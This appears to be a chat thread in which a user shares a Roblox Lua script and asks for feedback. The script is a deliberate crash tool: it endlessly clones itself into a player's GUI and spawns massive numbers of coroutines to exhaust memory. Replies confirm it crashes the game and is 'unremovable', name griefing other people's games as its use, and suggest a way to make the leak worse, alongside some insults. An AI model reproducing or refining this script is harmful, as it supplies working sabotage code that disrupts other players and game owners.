local rs = game:GetService("RunService")
function lag()
while true do
script:clone().Parent = plr.PlayerGui
print("Rest in peace.")
end
end
function memoryLeak()
for i = 1, 50000 do
coroutine.resume(coroutine.create(function()
for i = 1, 50000 do
spawn(lag)
end
end))
end
end
while true do
spawn(memoryLeak)
end```
#Please rate this script and give me feedback (ping me)
12 messages · Page 1 of 1 (latest)
does it crash the game??
When the hell would you use this lol
Er if someone wants a script to ruin someone elses game?
** You are now Level 1! **
Crashes and is unremovable
That's so cringe
stop being a skid
Shut up get a life bastard
Fr it's cringe
duh make errors and use pcall function for more memoryleka :P